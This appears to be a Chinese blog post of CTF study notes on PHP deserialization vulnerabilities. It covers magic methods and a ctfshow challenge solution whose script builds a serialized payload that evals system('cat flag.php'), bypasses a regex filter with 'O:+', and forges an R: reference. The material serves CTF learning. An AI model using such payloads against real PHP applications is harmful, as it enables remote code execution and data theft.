关于php反序列化
php面向对象
public #外部可用
private #外部不可用
protected #外部不可用,内部子类可用
关于序列化
序列化是将对象的状态信息(属性)转换为可以存储和传输的形式
对象/数组——序列化——>字符串
提交私有属性的反序列化时要加上%00`
`
private变量会被序列化为:\x00类名\x00变量名 protected变量会被序列化为: \x00*\x00变量名 public变量会被序列化为:变量名
%00类名%00
关于反序列化
- 反序列化之后的内容是一个对象
- 反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关,这也是导致反序列化漏洞的原因
- 反序列化本身不会触发类的成员方法;需要调用方法后才会触发
魔术变量
__sleep() //执行serialize()时,先会调用这个函数
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过)
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时
php中的内置类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
1.pre_match绕过
题目:
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
生成脚本:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
$a=serialize($a);
$a=str_replace('O:','O:+',$a);
echo urlencode($a);
这里通过+绕过
2.SoapClient反序列化SSRF(不会啊~~~~)
如果在代码审计中有反序列化点,但在代码中找不到pop链,可以利用php内置类来进行反序列化
从一道题学习SoapClient与CRLF组合拳_soapclient引发crlf-CSDN博客
3.unserialize和wake
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
4.字符串逃逸
PHP反序列化字符逃逸详解_php filter字符串溢出-CSDN博客
5.PHP指针引用
php序列化中大写字母R代表引用类型,值为一个数字,指示是从根开始的、也就是从对象本身开始的第几个项目,从1开始数,如果要引用对象本身,序列化后为R:1;
如果要引用对象内第一个元素,序列化后则为R:2
。不论变量间是如何互相引用的,在序列化过程中php无从得知,php只知道哪几个值的地址一模一样,所以php只会将最先出现的值记录下来,后续出现有相同地址的变量就将其值描述为对它的引用。
因此此题可以写出下列序列化字符串,代表password会共享token的地址:
·O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}·
评论0
暂时没有评论